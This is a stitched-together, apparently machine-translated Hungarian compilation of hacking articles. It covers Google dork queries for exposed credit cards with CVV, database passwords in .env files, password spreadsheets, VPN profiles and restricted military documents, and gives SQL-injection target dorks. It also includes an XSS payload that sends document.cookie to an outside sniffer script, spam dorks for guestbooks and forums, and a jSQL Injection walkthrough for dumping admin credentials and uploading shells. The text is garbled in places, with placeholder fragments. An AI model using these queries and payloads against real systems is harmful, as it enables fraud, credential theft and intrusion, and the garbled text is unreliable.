Minden operátorhoz létezik egy rövidebb névvel ellátott könnyű verzió (az összes előtag nélkül). A különbség az, hogy az allinurl az összes szót megtalálja, az inurl pedig csak az elsőhöz. A lekérdezés második és azt követő szavai bárhol megjelenhetnek a weboldalakon. Az inurl operátor is különbözik egy másik, hasonló jelentésű operátortól - site. Az első azt is lehetővé teszi, hogy a keresett dokumentumra mutató hivatkozásban tetszőleges karaktersorozatot találjon (például /cgi-bin/), amelyet széles körben használnak ismert sebezhetőségű összetevők megtalálására.

Próbáljuk ki a gyakorlatban. Használjuk az allintext szűrőt, és a kérésből készítsünk egy listát a hitelkártyák számáról és ellenőrző kódjairól, amelyek csak két év múlva járnak le (vagy amikor a tulajdonosok belefáradnak az etetésbe).

Allintext: kártyaszám lejárati dátuma /2017 cvv

Ha azt olvassuk a hírekben, hogy egy fiatal hacker „feltörte” a Pentagon vagy a NASA szervereit, titkos információkat lopva, a legtöbb esetben éppen a Google használatának ilyen alaptechnikájáról beszélünk. Tegyük fel, hogy érdekel minket a NASA alkalmazottainak listája és elérhetőségeik. Bizonyára elérhető egy ilyen lista elektronikus formában. A kényelem kedvéért vagy a felügyelet miatt magán a szervezet honlapján is megtalálható lehet. Logikus, hogy ebben az esetben nem lesz rá hivatkozás, mivel belső használatra készült. Milyen szavak lehetnek egy ilyen fájlban? Legalább - a „cím” mező. Mindezen feltételezések tesztelése egyszerű.

Inurl:nasa.gov fájltípus:xlsx "cím"

Az ilyen leletek kellemesek. Valóban komoly fogást nyújt a Google üzemeltetőinek részletesebb ismerete a webmesterek számára, magának a Hálózatnak, valamint a keresett dolgok felépítésének sajátosságairól. A részletek ismeretében könnyedén szűrheti az eredményeket és finomíthatja a szükséges fájlok tulajdonságait, hogy a többiben valóban értékes adatokhoz jusson. Vicces, hogy itt a bürokrácia segít. Szabványos készítményeket állít elő, amelyek kényelmesek az internetre véletlenül kiszivárgott titkos információk keresésére.

Például a terjesztési nyilatkozat bélyegzője, amelyet az Egyesült Államok Védelmi Minisztériuma ír elő, szabványos korlátozásokat jelent egy dokumentum terjesztésére vonatkozóan. Az A betű nyilvános közzétételeket jelöl, amelyekben nincs semmi titok; B - kizárólag belső használatra szánt, C - szigorúan bizalmas, és így tovább F-ig. Külön kiemelkedik az X betű, amely különösen értékes, legmagasabb szintű államtitkot képviselő információt jelöl. Azok keressenek ilyen dokumentumokat, akiknek ezt szolgálatban kell megtenniük, mi pedig a C betűs fájlokra szorítkozunk. A DoDI 5230.24-es irányelve szerint ez a jelölés az exportellenőrzés alá tartozó kritikus technológiák leírását tartalmazó dokumentumokhoz tartozik. . Ilyen gondosan védett információkat találhat az amerikai hadsereg számára fenntartott legfelső szintű domain.mil webhelyein.

"FORGALÁSI NYILATKOZAT C" inurl:navy.mil

Nagyon kényelmes, hogy a .mil domain csak az Egyesült Államok Védelmi Minisztériumának és szerződéses szervezeteinek webhelyeit tartalmazza. A domain korlátozással rendelkező keresési eredmények kivételesen letisztultak, és a címek magukért beszélnek. Az orosz titkok ilyen módon történő keresése gyakorlatilag haszontalan: a domains.ru és.rf-ben káosz uralkodik, és számos fegyverrendszer neve botanikainak tűnik (PP „Kiparis”, önjáró fegyverek „Akatsia”) vagy akár mesésnek is hangzik ( TOS „Buratino”).

A .mil domainben található webhely bármely dokumentumának gondos tanulmányozásával további jelölőket láthat a keresés finomításához. Például a „Sec 2751” exportkorlátozásra való hivatkozás, amely érdekes műszaki információk kereséséhez is kényelmes. Időről időre eltávolítják azokról a hivatalos oldalakról, ahol egykor megjelent, ezért ha nem tud egy érdekes linket követni a keresési eredmények között, használja a Google gyorsítótárát (gyorsítótár operátor) vagy az Internet Archívum webhelyét.

A véletlenül feloldott kormányzati dokumentumokon kívül a Google gyorsítótárában időnként felbukkannak a Dropboxból és más adattárolási szolgáltatásokból származó személyes fájlokra mutató hivatkozások, amelyek nyilvánosan közzétett adatokhoz „privát” hivatkozásokat hoznak létre. Még rosszabb az alternatív és házi készítésű szolgáltatásokkal. A következő lekérdezés például az összes Verizon-ügyfél adatait találja meg, akiknek FTP-kiszolgálója van telepítve, és aktívan használja útválasztóját.

Allinurl:ftp://verizon.net

Ma már több mint negyvenezer ilyen okos ember van, 2015 tavaszán pedig jóval többen voltak. A Verizon.net helyett bármely ismert szolgáltató nevét helyettesítheti, és minél híresebb, annál nagyobb lehet a fogás. A beépített FTP-kiszolgálón keresztül megtekintheti az útválasztóhoz csatlakoztatott külső tárolóeszközön lévő fájlokat. Általában ez egy NAS távoli munkához, egy személyes felhő vagy valamilyen peer-to-peer fájlletöltés. Az ilyen médiák minden tartalmát a Google és más keresőmotorok indexeli, így a külső meghajtókon tárolt fájlokat közvetlen hivatkozáson keresztül érheti el.

A felhőre való széleskörű migráció előtt az egyszerű FTP-szerverek távoli tárolóként működtek, amiben szintén sok volt a sebezhetőség. Sok közülük ma is aktuális. Például a népszerű WS_FTP Professional program konfigurációs adatokat, felhasználói fiókokat és jelszavakat tárol a ws_ftp.ini fájlban. Könnyen megtalálható és olvasható, mivel minden rekord szöveges formátumban van elmentve, a jelszavak pedig a Triple DES algoritmussal titkosítva vannak minimális elfedés után. A legtöbb verzióban elegendő az első bájt eldobása.

Az ilyen jelszavak visszafejtése egyszerű a WS_FTP Password Decryptor segédprogram vagy egy ingyenes webszolgáltatás segítségével.

Amikor egy tetszőleges webhely feltöréséről beszélünk, az általában a jelszó megszerzését jelenti a CMS vagy az e-kereskedelmi alkalmazások konfigurációs fájljainak naplóiból és biztonsági másolataiból. Ha ismeri a tipikus szerkezetüket, könnyen megadhatja a kulcsszavakat. A ws_ftp.ini fájlban található sorok rendkívül gyakoriak. Például a Drupalban és a PrestaShopban mindig van egy felhasználói azonosító (UID) és egy hozzá tartozó jelszó (pwd), és minden információ .inc kiterjesztésű fájlokban tárolódik. Az alábbiak szerint kereshet rájuk:

"pwd=" "UID=" ext:inc

Az SQL szerverek konfigurációs fájljaiban a felhasználónevek és e-mail címek szöveges formában vannak tárolva, és jelszavak helyett az MD5-kivonatokat írják ki. Szigorúan véve lehetetlen visszafejteni őket, de az ismert hash-jelszó párok között találhatunk megfelelőt.

Még mindig vannak olyan DBMS-ek, amelyek nem is használnak jelszókivonatot. Bármelyik konfigurációs fájlja egyszerűen megtekinthető a böngészőben.

Intext:DB_PASSWORD fájltípus:env

A Windows szerverek megjelenésével a konfigurációs fájlok helyét részben a registry foglalta el. Ugyanúgy kereshet az ágai között, a reg fájltípust használva. Például így:

Fájltípus:reg HKEY_CURRENT_USER "Password"=

Néha véletlenül megnyitott és a Google tudomására jutott adatok segítségével is el lehet jutni minősített információkhoz. Az ideális megoldás az, ha megtalálja a jelszavak listáját valamilyen általános formátumban. Szövegfájlban, Word-dokumentumban vagy Excel-táblázatban csak a kétségbeesett emberek tárolhatják a fiókadatokat, de ezekből mindig van elég.

Fájltípus:xls inurl:jelszó

Egyrészt rengeteg eszköz van az ilyen esetek megelőzésére. Megfelelő hozzáférési jogosultságokat kell megadni a htaccess-ben, javítani kell a CMS-t, nem szabad balkezes szkripteket használni és más lyukakat bezárni. Van egy olyan fájl is, amely a robots.txt kivételek listáját tartalmazza, amely megtiltja a keresőmotoroknak, hogy indexeljék a benne megadott fájlokat és könyvtárakat. Viszont ha valamelyik szerveren a robots.txt felépítése eltér a szabványostól, akkor azonnal kiderül, hogy mit akarnak elrejteni rajta.

A könyvtárak és fájlok listáját bármely webhelyen a szabványos index előzi meg. Mivel szolgáltatási célból meg kell jelennie a címben, célszerű a keresést az intitle operátorra korlátozni. Érdekes dolgok vannak az /admin/, /personal/, /etc/ és még a /secret/ könyvtárban is.

A relevancia itt rendkívül fontos: a régi sebezhetőségek nagyon lassan záródnak be, de a Google és keresési eredményei folyamatosan változnak. Még az „utolsó másodperc” szűrő (&tbs=qdr:s a kérés URL-címének végén) és a „valós idejű” szűrő (&tbs=qdr:1) között is van különbség.

A Google implicit módon jelzi a fájl utolsó frissítésének időpontját is. A grafikus webes felületen keresztül választhat egyet a standard időszakok közül (óra, nap, hét stb.), vagy beállíthat dátumtartományt, de ez a módszer nem alkalmas automatizálásra.

A címsor kinézete alapján csak sejtheti, hogy miként lehet korlátozni az eredmények kimenetét a &tbs=qdr: konstrukcióval. Az utána lévő y betű egy év korlátot jelöl (&tbs=qdr:y), m az utolsó hónap eredményeit mutatja, w - a hét, d - az elmúlt nap, h - az utolsó óra, n - percre, és s -re, adj egy másodpercet. A Google által az imént közölt legfrissebb eredmények a &tbs=qdr:1 szűrő használatával érhetők el.

Ha ügyes szkriptet kell írnia, hasznos tudnia, hogy a dátumtartományt a Google Julian formátumban állítja be a daterange operátor segítségével. Például így találhatja meg a bizalmas szót tartalmazó PDF dokumentumok listáját, amelyeket 2015. január 1. és július 1. között töltöttek le.

Bizalmas fájltípus: pdf dátumtartomány: 2457024-2457205

A tartomány Julian-dátumformátumban van feltüntetve, a törtrész figyelembevétele nélkül. A Gergely-naptárból manuálisan lefordítani őket kényelmetlen. Egyszerűbb a dátum konvertáló használata.

Amellett, hogy további operátorokat ad meg a keresési lekérdezésben, ezek közvetlenül a hivatkozás törzsében is elküldhetők. Például a filetype:pdf specifikáció az as_filetype=pdf konstrukciónak felel meg. Ez kényelmessé teszi a pontosítások kérését. Tegyük fel, hogy a csak a Hondurasi Köztársaságból származó eredményeket a cr=countryHN konstrukció hozzáadásával határozzuk meg a keresési URL-hez, és csak Bobruisk városából - gcs=Bobruisk. A teljes listát a fejlesztői részben találja.

A Google automatizálási eszközeit úgy tervezték, hogy megkönnyítsék az életet, de gyakran problémákat okoznak. Például a felhasználó városát a felhasználó IP-címe határozza meg a WHOIS-on keresztül. Ezen információk alapján a Google nem csak a szerverek közötti terhelést egyensúlyozza ki, hanem a keresési eredményeket is megváltoztatja. Régiótól függően ugyanazon kérés esetén különböző eredmények jelennek meg az első oldalon, és ezek egy része teljesen rejtett lehet. A gl=country direktíva utáni kétbetűs kód segít abban, hogy kozmopolitának érezze magát, és bármely ország információit keresse. Például Hollandia kódja NL, de a Vatikánnak és Észak-Koreának nincs saját kódja a Google-ban.

A keresési eredmények gyakran még több speciális szűrő használata után is zsúfolttá válnak. Ebben az esetben könnyen tisztázható a kérés több kivételszó hozzáadásával (mindegyik elé mínusz jel kerül). Például a banki, neveket és oktatóanyagokat gyakran használják a Személyes szóval. Ezért a letisztultabb keresési eredményeket nem egy lekérdezés tankönyvi példája mutatja, hanem egy finomított:

Cím: "A /Személyes/" -nevek indexe -oktatóanyag -banki

Egy kifinomult hackert az különböztet meg, hogy egyedül gondoskodik mindenről, amire szüksége van. Például a VPN kényelmes dolog, de vagy drága, vagy ideiglenes és korlátozásokkal. Túl drága, ha saját magának előfizet. Még jó, hogy vannak csoportos előfizetések, és a Google segítségével könnyen bekerülhet egy csoportba. Ehhez csak keresse meg a Cisco VPN konfigurációs fájlt, amelynek meglehetősen nem szabványos PCF kiterjesztése és felismerhető elérési útja van: Program Files\Cisco Systems\VPN Client\Profiles. Egy kérés, és csatlakozol például a Bonni Egyetem barátságos csapatához.

Fájltípus: pcf vpn VAGY csoport

A jelszavakat titkosítva tárolják, de Maurice Massard már írt egy programot a visszafejtésre, és ingyenesen biztosítja a thecampusgeeks.com oldalon.

A Google több száz különböző típusú támadást és penetrációs tesztet futtat. Számos lehetőség létezik, amelyek a népszerű programokat, a főbb adatbázis-formátumokat, a PHP számos sebezhetőségét, a felhőket és így tovább érintik. Ha pontosan tudja, hogy mit keres, akkor sokkal könnyebben megtalálhatja a szükséges információkat (különösen azokat az információkat, amelyeket nem állt szándékában nyilvánosságra hozni). Nem a Shodan az egyetlen, amely érdekes ötletekkel táplálkozik, hanem minden indexelt hálózati erőforrás adatbázis!

Úgy döntöttem, beszélek egy kicsit az információbiztonságról. A cikk hasznos lesz kezdő programozók és azok számára, akik most kezdtek el foglalkozni a Frontend fejlesztésével. Mi a probléma?

Sok kezdő fejlesztő annyira belemerül a kódírásba, hogy teljesen megfeledkezik munkája biztonságáról. És ami a legfontosabb, megfeledkeznek az olyan sebezhetőségekről, mint az SQL és XXS lekérdezések. Egyszerű jelszavakat is kitalálnak adminisztrációs paneljeikhez, és nyers erőszaknak vannak kitéve. Mik ezek a támadások, és hogyan lehet elkerülni őket?

Az SQL-befecskendezés az adatbázis elleni támadások leggyakoribb típusa, amelyet egy adott DBMS-re vonatkozó SQL-lekérdezés során hajtanak végre. Sok ember, sőt nagyvállalat is szenved az ilyen támadásoktól. Az ok egy fejlesztői hiba az adatbázis írásakor és szigorúan véve az SQL lekérdezések.

Az SQL-lekérdezésekben használt bemeneti adatok helytelen feldolgozása miatt SQL-befecskendezési támadás lehetséges. Ha egy hacker támadása sikeres, akkor nemcsak az adatbázisok tartalmát, hanem a jelszavakat és az adminisztrációs panel naplóit is elveszítheti. És ez az adat elég lesz ahhoz, hogy teljesen átvegye a webhelyet, vagy visszafordíthatatlan módosításokat hajtson végre rajta.

A támadás sikeresen reprodukálható PHP, ASP, Perl és más nyelveken írt szkriptekben. Az ilyen támadások sikere inkább attól függ, hogy milyen DBMS-t használnak, és hogyan valósítják meg magát a szkriptet. A világon számos sebezhető webhely található az SQL-injekciókhoz. Ezt könnyű ellenőrizni. Csak írja be a „dorks” szót – ezek speciális lekérdezések a sebezhető webhelyek kereséséhez. Itt van néhány közülük:

• inurl:index.php?id=
• inurl:trainers.php?id=
• inurl:buy.php?category=
• inurl:cikk.php?ID=
• inurl:play_old.php?id=
• inurl:declaration_more.php?decl_id=
• inurl:pageid=
• inurl:games.php?id=
• inurl:page.php?file=
• inurl:newsDetail.php?id=
• inurl:galéria.php?id=
• inurl:cikk.php?id=

Hogyan kell használni őket? Csak írja be őket a Google vagy a Yandex keresőjébe. A keresőmotor nem csak egy sebezhető webhelyet ad, hanem egy oldalt is a sérülékenységről. De nem állunk meg itt, és megbizonyosodunk arról, hogy az oldal valóban sebezhető. Ehhez elegendő egyetlen „‘ idézőjelet az „id=1” érték után tenni. Valami ilyesmi:

• inurl:games.php?id=1'

És a webhely hibát jelez az SQL-lekérdezéssel kapcsolatban. Mire van szüksége ezután a hackerünknek?

És akkor pont erre a hivatkozásra van szüksége a hibaoldalra. Ezután a sérülékenység kidolgozása a legtöbb esetben a „Kali linux” disztribúcióban történik az ehhez a részhez tartozó segédprogramokkal: beilleszti a kódot és végrehajtja a szükséges műveleteket. Hogy ez hogyan fog történni, azt nem tudom megmondani. De az interneten találsz erről információt.

Ez a fajta támadás Cookie-fájlokon történik. A felhasználók viszont szeretik menteni őket. Miért ne? Mihez kezdenénk nélkülük? Végül is a Cookie-nak köszönhetően nem kell százszor megadnunk a Vk.com vagy a Mail.ru jelszavát. És kevesen vannak, akik elutasítják őket. De az interneten gyakran megjelenik egy szabály a hackerek számára: a kényelmi együttható egyenesen arányos a bizonytalansági együtthatóval.

Az XSS-támadás végrehajtásához hackerünknek JavaScript ismerete szükséges. Első pillantásra a nyelv nagyon egyszerű és ártalmatlan, mert nem fér hozzá a számítógépes erőforrásokhoz. A hacker csak JavaScripttel tud dolgozni böngészőben, de ez is elég. Végül is a lényeg az, hogy beírjuk a kódot a weboldalra.

Nem beszélek részletesen a támadás folyamatáról. Csak az alapokat és annak jelentését mondom el, hogy ez hogyan történik.

Egy hacker hozzáadhat JS-kódot néhány fórumhoz vagy vendégkönyvhöz:

document.location.href =”http://192.168.1.7/sniff.php?test”

A szkriptek átirányítanak minket a fertőzött oldalra, ahol a kód lefut: legyen szó snifferről, valamilyen tárhelyről vagy exploitról, ami valahogy ellopja a cookie-jainkat a gyorsítótárból.

Miért JavaScript? Mivel a JavaScript kiválóan kezeli a webes kéréseket, és hozzáfér a cookie-khoz. De ha a szkriptünk elvisz minket valamilyen oldalra, azt a felhasználó könnyen észreveszi. Itt a hacker egy ravaszabb opciót használ - egyszerűen beírja a kódot a képbe.

Img=új kép();

Img.src=”http://192.168.1.7/sniff.php?”+document.cookie;

Egyszerűen létrehozunk egy képet, és hozzárendeljük a szkriptünket címként.

Hogyan védheti meg magát mindezektől? Nagyon egyszerű – ne kattintson a gyanús linkekre.

DoS (az angol szolgáltatásmegtagadásból - szolgáltatásmegtagadás) egy számítógépes rendszer elleni hackertámadás, amelynek célja annak meghiúsítása. Ez olyan feltételek megteremtését jelenti, amelyek mellett a jóhiszemű rendszerhasználók nem férhetnek hozzá a biztosított rendszererőforrásokhoz (szerverekhez), vagy ez a hozzáférés nehézkes. A rendszer meghibásodása szintén egy lépés lehet az átvétel felé, ha vészhelyzetben a szoftver bármilyen kritikus információt állít elő: például egy verziót, egy programkód egy részét stb. De ez leggyakrabban a gazdasági nyomás mértéke: egy egyszerű szolgáltatás elvesztése, amely bevételt termel. A szolgáltatótól érkező számlák vagy a támadások elkerülését célzó intézkedések jelentősen eltalálják a zsebben lévő „célpontot”, jelenleg a DoS és a DDoS támadások a legnépszerűbbek, mivel szinte minden rendszer meghibásodását teszik lehetővé jogilag jelentős bizonyítékok hátrahagyása nélkül.

Mi a különbség a DoS és a DDos támadás között?

A DoS egy okos módon megtervezett támadás. Például, ha a szerver nem ellenőrzi a bejövő csomagok helyességét, akkor egy hacker olyan kérést küldhet, amelynek feldolgozása örökké tart, és a processzornak nem lesz elegendő ideje más kapcsolatokkal való együttműködésre. Ennek megfelelően az ügyfelektől megtagadják a szolgáltatást. De ilyen módon nem lehet túlterhelni vagy letiltani a nagy, jól ismert webhelyeket. Meglehetősen széles csatornákkal és szupererős szerverekkel vannak felvértezve, amelyek probléma nélkül megbirkóznak az ilyen túlterheléssel.

A DDoS valójában ugyanaz a támadás, mint a DoS. De ha a DoS-ben egy kéréscsomag van, akkor a DDoS-ben több száz vagy több is lehet. Még a szupererős szerverek sem képesek megbirkózni egy ilyen túlterheléssel. Hadd mondjak egy példát.

DoS támadásról akkor beszélünk, amikor valakivel beszélgetünk, de ekkor jön egy rossz modorú személy, és hangosan kiabálni kezd. Beszélni vagy lehetetlen, vagy nagyon nehéz. Megoldás: hívja a biztonságiakat, akik megnyugszanak és eltávolítják az illetőt a helyiségből. A DDoS támadások az, amikor ilyen rossz modorú emberek ezres tömege rohan be. Ebben az esetben a biztonságiak nem tud mindenkit lekötni és elvinni.

A DoS és a DDoS számítógépekről, az úgynevezett zombikról valósul meg. Ezek a hackerek által feltört felhasználók számítógépei, akik nem is sejtik, hogy gépük egy szerver elleni támadásban vesz részt.

Hogyan védheti meg magát ettől? Általában semmiképpen. De megnehezítheti a hacker dolgát. Ehhez jó tárhelyet kell választania erős szerverekkel.

Egy fejlesztő rengeteg támadásvédelmi rendszert kitalálhat, teljes körűen átnézheti az általunk írt szkripteket, ellenőrizheti az oldalt a sebezhetőségekért stb. De amikor a webhely elrendezésének utolsó lépéséhez ér, nevezetesen amikor egyszerűen beállít egy jelszót az adminisztrációs panelhez, egy dolgot elfelejthet. Jelszó!

Szigorúan nem ajánlott egyszerű jelszót beállítani. Ez lehet 12345, 1114457, vasya111 stb. Nem ajánlott 10-11 karakternél rövidebb jelszavakat beállítani. Ellenkező esetben a leggyakoribb és legegyszerűbb támadás érheti Önt - a nyers erő.

A brute force egy szótári jelszókeresési támadás speciális programok segítségével. A szótárak különbözőek lehetnek: latin, számok szerinti felsorolás, mondjuk egy bizonyos tartományig, vegyes (latin + számok), sőt vannak szótárak egyedi karakterekkel @#4$%&*~~`’”\ ? stb.

Természetesen ez a fajta támadás könnyen elkerülhető, csak egy összetett jelszót kell kitalálnia. Még egy captcha is megmenthet. Továbbá, ha webhelye CMS-en készült, akkor sokan észlelik az ilyen típusú támadásokat, és blokkolják az IP-címet. Mindig emlékeznie kell arra, hogy minél több különböző karakter van egy jelszóban, annál nehezebb kitalálni.

Hogyan működnek a hackerek? A legtöbb esetben vagy sejtik, vagy előre tudják a jelszó egy részét. Teljesen logikus feltételezni, hogy a felhasználó jelszava biztosan nem 3 vagy 5 karakterből áll. Az ilyen jelszavak gyakori hackeléshez vezetnek. Alapvetően a hackerek 5-10 karaktert vesznek fel, és több olyan karaktert adnak hozzá, amelyeket előre ismerhetnek. Ezután létrejön a szükséges tartományú jelszavak. A Kali Linux disztribúció még programokat is tartalmaz ilyen esetekre. És íme, a támadás már nem tart sokáig, mivel a szótár kötete már nem olyan nagy. Ezenkívül a hacker használhatja a videokártya erejét. Némelyikük támogatja a CUDA rendszert, és a keresési sebesség akár 10-szeresére nő. És most látjuk, hogy egy ilyen egyszerű támadás egészen valóságos. De nem csak a webhelyek vannak kitéve nyers erőszaknak.

Tisztelt fejlesztők, soha ne feledkezzünk meg az információbiztonsági rendszerről, mert manapság sokan, köztük államok is szenvednek ilyen típusú támadásoktól. Hiszen a legnagyobb sebezhetőség az, aki mindig valahol elterelheti a figyelmét, vagy kihagy valamit. Programozók vagyunk, de nem programozott gépek. Mindig légy résen, mert az információvesztésnek súlyos következményei lehetnek!

Valószínűleg mindenki tudja, hogyan kell használni egy olyan keresőmotort, mint a Google =) De nem mindenki tudja, hogy ha speciális konstrukciók segítségével helyesen állítja össze a keresési lekérdezést, sokkal hatékonyabban és gyorsabban érheti el a keresett eredményeket =) Ebben a cikkben Megpróbálom bemutatni ezt és azt, hogy mit kell tenned a helyes kereséshez

A Google számos speciális keresési operátort támogat, amelyek különleges jelentéssel bírnak a google.com webhelyen történő keresés során. Általában ezek a kijelentések megváltoztatják a keresést, vagy akár teljesen más típusú keresésre is felszólítják a Google-t. Például a link: construct egy speciális operátor, és a kérés link: www.google.com nem ad normál keresést, hanem megtalálja az összes olyan weboldalt, amely a google.com-ra mutató hivatkozást tartalmaz.
alternatív kéréstípusok

gyorsítótár: Ha más szavakat is tartalmaz egy lekérdezésben, a Google kiemeli azokat a szavakat a gyorsítótárazott dokumentumban.
Például, gyorsítótár: www.webhely megjeleníti a gyorsítótárazott tartalmat a „web” szó kiemelésével.

link: A fenti keresési lekérdezés olyan weboldalakat jelenít meg, amelyek a megadott lekérdezésre mutató hivatkozásokat tartalmaznak.
Például: link: www.site megjeleníti az összes olyan oldalt, amely a http://www.site-ra hivatkozik

kapcsolódó: A megadott weboldalhoz „kapcsolódó” weboldalakat jelenít meg.
Például, kapcsolódó: www.google.com listázza a Google kezdőlapjához hasonló weboldalakat.

info: Információkérés: bemutatja a Google által az Ön által kért weboldallal kapcsolatos információk egy részét.
Például, info:honlap információkat fog mutatni a fórumunkról =) (Armada - Adult Webmasters Forum).

Egyéb információigénylés

define: A define: lekérdezés megadja az utána beírt szavak definícióját, különféle online forrásokból gyűjtve. A definíció a teljes beírt kifejezésre vonatkozik (vagyis a pontos lekérdezésben szereplő összes szót tartalmazza).

részvények: Ha részvényekkel indít lekérdezést: a Google a többi lekérdezési kifejezést részvényjelként dolgozza fel, és egy oldalra hivatkozik, amely kész információkat mutat ezekről a szimbólumokról.
Például, részvények: Intel yahoo információkat jelenít meg az Intelről és a Yahoo-ról. (Ne feledje, hogy a legfrissebb hírek szimbólumait írja be, ne a cég nevét)

Lekérdezésmódosítók

site: Ha megadja a site: kifejezést a lekérdezésében, a Google az adott domainben talált webhelyekre korlátozza a találatokat.
Egyedi zónák szerint is kereshet, például ru, org, com stb. site:com site:ru)

allintitle: Ha egy lekérdezést az allintitle: használatával futtat, a Google a címben szereplő összes lekérdezési szóra korlátozza az eredményeket.
Például, allintitle: google kereső visszaadja az összes Google oldalt kereséssel, például képeket, blogot stb

intitle: Ha megadja az intitle: kifejezést a lekérdezésében, a Google az eredményeket azokra a dokumentumokra korlátozza, amelyek a címben ezt a szót tartalmazzák.
Például, cím: Üzlet

allinurl: Ha lekérdezést futtat az allinurl-lel: a Google az URL-ben szereplő összes lekérdezési szóra korlátozza az eredményeket.
Például, allinurl: google kereső visszaadja a dokumentumokat a google segítségével, és a címben keres. Opcionálisan perjellel (/) is elválaszthatja a szavakat, ekkor a program a perjel mindkét oldalán lévő szavakat keresi ugyanazon az oldalon: Példa allinurl: foo/bar

inurl: Ha megadja az inurl: kifejezést a lekérdezésében, a Google az eredményeket azokra a dokumentumokra korlátozza, amelyek az URL-ben ezt a szót tartalmazzák.
Például, Animáció inurl:site

intext: az oldalszövegben csak a megadott szót keresi, figyelmen kívül hagyva a cím- és linkszövegeket, és egyéb nem kapcsolódó dolgokat Ennek a módosítónak van egy származéka is - allintext: azaz. továbbá a lekérdezésben szereplő összes szó csak a szövegben lesz keresve, ami szintén fontos lehet, figyelmen kívül hagyva a linkekben gyakran használt szavakat
Például, szöveg: fórum

dátumtartomány: időkereten belüli keresések (dátumtartomány: 2452389-2452389), az időpontok dátumai Julian formátumban vannak megadva.

Nos, és mindenféle érdekes lekérdezési példa

Példák lekérdezések írására a Google számára. Spammerek számára

Inurl:control.guest?a=sign

Site:books.dreambook.com „Homepage URL” „Sign my” inurl:sign

Webhely: www.freegb.net honlap

Inurl:sign.asp „Karakterszám”

„Üzenet:” inurl:sign.cfm „Feladó:”

Inurl:register.php „Felhasználói regisztráció” „Webhely”

Inurl:edu/vendégkönyv „Aláírja a vendégkönyvet”

Inurl: bejegyzés „Hozzászólás” „URL”

Inurl:/archives/ "Megjegyzések:" "Emlékszel az adatokra?"

„Szkript és vendégkönyv Készítette:” „URL:” „Megjegyzések:”

Inurl:?action=add „phpBook” „URL”

Cím: "Új történet beküldése"

Magazinok

Inurl: www.livejournal.com/users/ mode=reply

Inurl greatestjournal.com/ mode=reply

Inurl:fastbb.ru/re.pl?

Inurl:fastbb.ru /re.pl? "Vendégkönyv"

Blogok

Inurl:blogger.com/comment.g?”postID””anonymous”

Inurl:typepad.com/ „Hozzászólás” „Emlékszel személyes adatokra?”

Inurl:greatestjournal.com/community/ „Hozzászólás” „névtelen poszterek címei”

„Hozzászólás” „névtelen plakátok címei” -

Cím: "Hozzászólás"

Inurl:pirillo.com „Hozzászólás”

Fórumok

Inurl:gate.html?”name=Fórumok” „mode=reply”

Inurl: "forum/posting.php?mode=reply"

Inurl: "mes.php?"

Inurl: "tagok.html"

Inurl:fórum/taglista.php?”

Futtassa a letöltött fájlt dupla kattintással (virtuális gépre van szüksége).

[Részlet fejlesztés alatt]

[Részlet fejlesztés alatt]

[Részlet fejlesztés alatt]

A programmal való munkavégzés rendkívül egyszerű. Csak írja be a webhely címét, és nyomja meg az ENTER billentyűt.

A következő képernyőkép azt mutatja, hogy a webhely háromféle SQL-injekcióval szemben sebezhető (az ezekre vonatkozó információk a jobb alsó sarokban találhatók). Az injekciók nevére kattintva átválthatja az alkalmazott módszert:

Emellett a meglévő adatbázisok már megjelentek számunkra.

Az egyes táblázatok tartalmát megtekintheti:

A táblákkal kapcsolatban általában a rendszergazdai hitelesítő adatok a legérdekesebbek.

Ha szerencséje van, és megtalálja a rendszergazda adatait, akkor még korai örülni. Továbbra is meg kell találnia az adminisztrációs panelt, ahol megadhatja ezeket az adatokat.

Ehhez lépjen a következő lapra. Itt a lehetséges címek listája fogad minket. Kiválaszthat egy vagy több oldalt az ellenőrzéshez:

A kényelem abban rejlik, hogy nincs szükség más programok használatára.

Sajnos nem nagyon van olyan figyelmetlen programozó, aki tiszta szövegben tárolja a jelszavakat. A jelszósorban gyakran találunk ilyesmit

8743b52063cd84097a65d1633f5c74f5

Ez egy hash. Nyers erővel visszafejtheti. És... A jSQL Injection beépített nyers erővel rendelkezik.

A kétségtelen kényelem az, hogy nem kell más programokat keresnie. A legnépszerűbb hashek közül sok támogatott.

Ez nem a legjobb megoldás. Ahhoz, hogy guru lehessen a hash-ek dekódolásában, az orosz nyelvű „” könyv ajánlott.

De természetesen, ha nincs kéznél más program, vagy nincs idő a tanulásra, nagyon jól jön a jSQL Injection a beépített brute force funkciójával.

Vannak beállítások: beállíthatjuk, hogy mely karakterek szerepeljenek a jelszóban, a jelszó hossztartománya.

Az adatbázisokkal végzett műveletek mellett - azok olvasása és módosítása, ha SQL injekciót észlel, a következő fájlműveletek hajthatók végre:

• fájlok olvasása a szerveren
• új fájlok feltöltése a szerverre
• shell-ek feltöltése a szerverre

És mindez a jSQL Injection-ben van megvalósítva!

Vannak korlátozások – az SQL szervernek fájljogosultságokkal kell rendelkeznie. Az intelligens rendszergazdák letiltották őket, és nem fognak tudni hozzáférni a fájlrendszerhez.

A fájljogosultságok megléte meglehetősen egyszerű ellenőrizni. Lépjen az egyik lapra (fájlok olvasása, shell létrehozása, új fájl feltöltése), és próbálja meg végrehajtani a megadott műveletek egyikét.

Egy másik nagyon fontos megjegyzés - tudnunk kell a fájl pontos abszolút elérési útját, amellyel dolgozni fogunk - különben semmi sem fog működni.

Nézze meg a következő képernyőképet:

Bármilyen kísérletre, hogy egy fájlt kezeljünk, azt a választ kapjuk: Nincs FILE jogosultság (nincs fájljogosultság). És itt semmit sem lehet tenni.

Ha ehelyett másik hiba lép fel:

Hiba történt a [könyvtárnév]-be írásakor

Ez azt jelenti, hogy helytelenül adta meg az abszolút elérési utat, ahová a fájlt írni kívánja.

Az abszolút elérési út kitalálásához legalább ismernie kell azt az operációs rendszert, amelyen a szerver fut. Ehhez váltson a Hálózat lapra.

Ez a bejegyzés (Win64 sor) okot ad arra, hogy feltételezzük, hogy Windows operációs rendszerrel van dolgunk:

Életben tartás: timeout=5, max=99 Szerver: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Csatlakozás: Életben tartás Módszer: HTTP/1.1 200 OK Tartalom-hossz: 353 Dátum: 2015. december 11. péntek 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Tartalomtípus: szöveg/html; charset=UTF-8

Itt van néhány Unix (*BSD, Linux):

Átviteli kódolás: darabolt Dátum: 2015. december 11. péntek 11:57:02 GMT Módszer: HTTP/1.1 200 OK Életben tartás: timeout=3, max=100 Csatlakozás: életben tartás Tartalom típusa: szöveg/html X- Üzemeltető: PHP/5.3.29 Szerver: Apache/2.2.31 (Unix)

És itt van a CentOS:

